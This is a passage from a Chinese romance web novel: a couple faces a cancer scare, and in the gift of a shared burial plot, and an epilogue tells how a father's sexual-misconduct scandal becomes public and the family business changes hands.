梁奚禾睡得沉,耳朵不好使,闹钟和轻声唤醒都没用,孟翰泽便一遍又一遍地吻她。 她睁了睁眼睛,还没睡够,又重新闭上。 孟翰泽从背后抱住她,耐心地等她重新开机,过了一会儿,他埋首在她耳后。 “禾苗,如果我以后不能监督你,你得好好的。” 梁奚禾觉得孟翰泽怪怪的。 她突发性耳聋是个意外,他表现得特别一点也算情有可原。可是按部就班的治疗安排上了,她每天都在觉得有所好转,包括她自己在内的知情人都没再觉得这件事严重。 严重到需要时常凝眉、出神——这事儿没那么难以消化吧。 可偏偏,孟翰泽就这样了。他是一个专注力极高的人,很少会这样动不动就走神,有时甚至表现得心事重重。 梁奚禾问他,他就安抚一笑,她觉得奇怪,问阔姐是不是家里发生了什么事。 阔姐藏不住事:【他不让我说,但我还是说了吧,你有知情权。他今年的体检报告上有个肿瘤指标偏高,是参考值的将近三倍。】 梁奚禾心里一突。 阔姐:【医生说大多数人可以自己降下来,让好好休息、规律作息两周后复查。下周就要去复查了,结果没出来之前,他应该在担心。】 担心什么? 担心孟氏还没拿回来,担心拿回来以后母女俩怎么操持。 更担心他的老婆以后怎么办…… 梁奚禾几乎立刻猜到了孟翰泽的重重心事,她沉默了许久。 晚上睡觉前,她抱着他的腰窝在他怀里,没闭上眼睛,感受着他的体温,真切地存在着。 就像当日她盲目自信耳朵不会有大问题一样,此刻也相信他不会有事,指标会降下来的。 可万一有事呢? 她想,万一有问题也不要紧,他们有钱有人脉,好好治呗,没那么容易到束手无策的地步。 这么想着,她手上不由用力,将人抱得更紧。 孟翰泽感觉到她的力气,圈着她的手也紧了紧,给予她回应。 “禾苗,我爱你。” 明知道她听不清,他还是用气声说了这句话。 可梁奚禾却听到了。 这一声“我爱你”如同平地炸响的春雷,惊得她呆呆地忘了眨眼。 复查当日,孟翰泽准备抽了血后直接去公司开会。他这天很忙,几档会连轴转,没时间去医院听医生讲报告,约定好,检验报告出来后,跟医生视频会。 中午,报告尚未出来,会议结束后,他坐在办公桌前捏着眉心。 曦和特材的上市计划,原本是五年计划,现在他不得不压缩到三年,以防他自己没有更多的时间了。 同时,他仍物色着职业经理人的人选——当然,他也已经想过了,如果拿不回孟氏,就不必硬拿了,以防没有他在,与姚德平闹翻的母女俩日子难过。 还有,婚前协议得作废,他得另立遗嘱将自己名下的财产给到他的太太,即使她不需要。 有人敲门,应该是助理送饭,最近他已经开始不将时间浪费在琐事上,所以每天的中饭都由助理从餐厅打包上来吃。 “进来。”他头也没抬。 梁奚禾走进这间熟悉的办公室,看到桌前的男人揉着眉心,模样疲惫。 她将保温桶放在桌上,绕到他身后,抬手轻按他的太阳穴。 孟翰泽一惊,回头看到是她,才缓了神色,拉着她的手要将人搂过去。 梁奚禾却坐到了他对面:“我来是有事。” 她耳朵暂未恢复,续请了病假。 孟翰泽知道她能听到一些声音,还不太清晰,就不想她费力,打字跟她交流:【什么事?】 梁奚禾从Birkin中掏出一份文件放到桌上划过去,表情就像他们第一次见面谈婚前协议时那般严肃。 或许,比那更严肃。 “孟总,这是我突然想送你的礼物。”顿了顿,她补充,“希望你觉得是礼物。” 孟翰泽被她严肃到不能再严肃的表情逗到,笑了笑,接过档案袋。 袋子里,是一份购买合同,购买的标的是墓地。 双人墓地,以他们俩的名义。 孟翰泽猛地抬头。 梁奚禾那双葡萄眼里似乎有水汽,她没提体检报告,没提复查,只当不知。 “我觉得一直跟你一块儿好像也挺不错的。” 这是不是就是爱情,她不是百分百的确定。如果是爱情的话,也许这是爱情最好的阶段,让她期待着跟他走很远。 而如果这一关没那么好过,很不幸地他们没能走那么远,她能想到的方式,就是他们最终还能以某种形式走到一起。 我爱你这句话,她好像说不出口。 孟翰泽起身,绕过桌子来抱她。古板无趣的男人在此刻没觉得忌讳,反而她那些说不出口的话,他都懂了。 “禾苗,谢谢你的礼物。” 但如果他的报告有什么问题,他又并不希望这份礼物成为他的枷锁,如果有那么一天,他会请她挑一件她最喜欢的衣服送给他,陪伴他。 两人正沉浸在各自的情意中。 桌上的手机屏幕亮起,是阔姐的消息:【报告出来了,没事儿,你就是太累了,注意饮食和休息。】 正文完 第55章 三年后,蒸蒸日上的曦和特材上市前夕,一个小道消息不胫而走——孟氏董事长姚德平被实名举报曾性侵生活秘书。 消息被确认属实,新闻很快占领各大平台热搜,外界八卦之火熊熊燃烧,因为此次实名举报的人正是姚德平的私生子,姚博远。 在姚博远检举的材料中,除了阐述前因后果的文字部分,还附有录音。 “博远,妈妈什么都不争的话,你甘心吗?同样是他的儿子,凭什么你一无所有?孟翰泽就能坐拥整个孟氏?” “你也说了,那是孟氏。我算什么东西?” “你怎么能这么说自己?!你是姚德平的儿子!” “我这辈子最厌恶的就是当姚德平的儿子。你也不必妄想拿我当争产的工具。” “博远!妈妈怎么可能把你当成工具?!我这都是为了你……” “我没让你生我!如果你真的是为了我,拜托跟我断绝关系,有你们这样的爹妈,我一辈子都抬不起头。” 音频没有剪辑过,这句话后空白了将近一分钟,是邵珊珊沉默了。 片刻后,听到她叹了一口气,再开口时已经带上了哭腔。 “你以为你妈妈是什么人?难道我不想堂堂正正地为人妻、为人母吗……” 又是沉默。 随后邵珊珊的声音陡然尖利,“如果不是姚德平强奸了我,我也不会未婚怀孕,也不会从此受制于他!” 姚博远似乎很是震惊。在他已知的版本里,他们一个是贪色,一个是图财,各取所需的男盗女娼。而他,则是谋财的最大工具而已。 他根本没想过往事还有另外一种版本。 姚博远宕机了许久,面对哭得伤心欲绝的母亲手足无措,心中已然有了错怪了受害者的内疚。 他僵硬地递了张抽纸过去。 邵珊珊压了压眼角,看向他:“博远,好孩子,选择生下你是妈妈一意孤行,但我绝对不是拿你来争财产,只是一个母亲,不舍得随便放弃一个生命,而现在,也觉得自己对你有责任,必须得护着你,给你讨个公道。” 姚博远有些混乱,她的“忍辱负重”让他一时分不清自己是受害者,还是加害者。 他艰涩地开口:“你为什么……为什么……” 为什么不报警? 为什么这么多年还心甘情愿地委身于强奸犯,不仅笑脸相迎,还殷勤周到? 他问不出口。 也许他惧怕那个“都是为了他”的答案。 那天,姚博远录音的初衷是不想再被邵珊珊当成借口、幌子,他决定破釜沉舟,把录音发给姚德平,让姚德平知道身边的红颜知己的真面目,也让姚德平看清楚,他不稀罕那几个臭钱,甚至打心底里鄙夷他们。 可邵珊珊说的话信息量太大了,一下子击碎了他所有的叛逆与傲骨。 录音提交给了警方的同时放在了网上,桃色新闻传播得一向飞快,快到孟氏的公关公司都没来得及反应。 孟氏董事会很快召集开会。这几年,姚德平表现出来的“求仙问道”的状态,本就让几个大股东充满了不信任,原本只等着孟翰泽将曦和特材带上市,孟氏再进行权力交接,实现最大程度的平稳过渡。 没想到,如今为了实现最大程度的止损,换届被迫提前进行。 姚德平面色铁青地让邵珊珊母子来见他,姚博远没来,邵珊珊一进门就哭得十分心碎。 “孩子到了叛逆期,闯了这么大的祸,我真是,真是愧对姚家列祖列宗!” 她先认错,一副要往茶几角上撞的架势,身体却趴在姚德平胸口,手还抓着他腰部的衣角。 最近几年,姚德平对她的信任大不如前,因为发现她并不关心他的健康,甚至在房事中,他力不从心时,还会挑唆他服用药物。 所以听到录音中她“争家产”的那些话,他竟然没有一丝意外,反而有种“看,真面目终于露出来了吧”的豁然开朗。 姚德平露出嫌恶的神色,将惺惺作态的人推开,沉声问道:“当年,是我强奸了你?” 他不在意她想不想争产,说到底,给不给是他想不想给的事。他此时想质问的就是自己被这个女人加诸头上的莫须有的指控。 邵珊珊却自顾自的哭着,不搭腔。 姚德平胸口剧烈起伏,指着她鼻子骂道:“你今天必须把话说清楚。” 邵珊珊不在乎是不是被录音,瞅着姚德平的神色琢磨措辞。音频里的每句话都是她亲口说的,她无可辩驳。这会儿,只能试图勾起两人的回忆,好让他还能恋一丝旧情。 她说起两人第一次发生关系是在姚德平的办公室,当时他还只是孟氏的副总,顶着孟家女婿的名头被孟老先生压得死死的,不只锋芒尽敛,还因为是赘婿面上无光。 她说她倾慕他,心疼他怀才不遇,心疼他才华都被赘婿的名头掩盖。 那天,姚德平管不住生理冲动,心理上也一步步被攻陷。 “我只有这个儿子!眼看他越来越叛逆,怎么说都不听,甚至还打算离家出走,我不得不这么说,好让他留在我身边……” 邵珊珊说着又扑倒在姚德平的怀里,埋首在他肩头求情、撒娇,就跟当年如出一辙。 姚德平再没有当年的冲动,甚至冒出一个念头:如果当年他一把推开了,哪里来今天的破事? 破事还在继续。 姚博远没打算等姚德平这边的公关,每天放一点材料,都是姚德平这么多年来“猎艳”的往事。 有些是提供特殊服务者,有些则是身边的员工,更有实习生。 这下,就连邵珊珊都惊呆了。她知道男人在某些场合肯定要逢场作戏,但没想到姚德平竟然都是假戏真做。 除了名分,她一直觉得自己算是姚德平唯一的女人。哪里想到他这么脏? 姚博远这几年在宁市、港城,还有几个大城市游历,竟然一步步地将姚德平所有的不堪逗挖了出来。 孟氏董事会以惊人的速度决定换届,孟翰泽当选孟氏董事长的次日,孟淑慧一纸诉状起诉了离婚。 姚以涵沉默地关注着事态的发展,等孟淑慧办完离婚后,她便卸载了所有社交软件,不打算再关心姚德平那边的动态。 孟翰泽忙到飞起,母女三人开瓶红酒庆祝了孟淑慧的离婚,连胃不好的梁奚禾都抿了两口。 酒足饭饱之后,微醺的三人躺在满觉院里,吹着夏风,看着繁星点点,听着虫鸣。 梁奚禾:“我真担心妈妈您这么蹉跎一辈子,又不敢说。” 孟淑慧笑道:“其实也没有蹉跎。” 或许上山的前几年她是困在痛苦中,但之后的那么多年,她早就挣脱了情感的困惑与纠缠,只是为了孟氏在蛰伏罢了。 梁奚禾:“卧薪尝胆也是蹉跎啊,您早就应该获得幸福的。” 姚以涵:“嫂嫂说得对。” 她越发觉得父亲不堪,所以越发惋惜母亲和这个人绑定在一起太多年。如果早早解除绑定,说不定…… 她想到什么,问道,“妈妈,那么蒙董表白了吗?” 梁奚禾也侧头看过来。她那位蒙伯伯竟然暗恋自己婆婆多年,这种重磅消息砸得她晕头转向,不过她跟姚以涵一样对此乐见其成。 谁都希望孟女士能够被人善待,珍惜。 孟淑慧大大方方地承认:“表白了。” 两双眼睛亮起来,她却不疾不徐地继续说,“被我拒绝了。” “为什么?!”姚以涵惊讶地坐起来。 梁奚禾皱眉:“蒙伯伯卖相其实还可以,您不喜欢这款吗?” 孟淑慧淡定笑笑:“自由的空气太舒服,我没有再婚的打算。”预感到梁奚禾想要开口说什么,她道,“也没打算恋爱。” 山中岁月安静、恬淡,她已经多年的隐居生活中找到了真正自洽的方式。阅读、书画,以后为了锻炼身体,还将多进行爬山徒步。 “好孩子,幸福不是一定建立在恋情上的。我很爱我自己,也找到爱自己的方式,暂时没有打算腾出空去接纳一个人。” 一个人怎么就不是最优解呢? 梁奚禾释然地笑笑,自己以前不也是这么想的吗?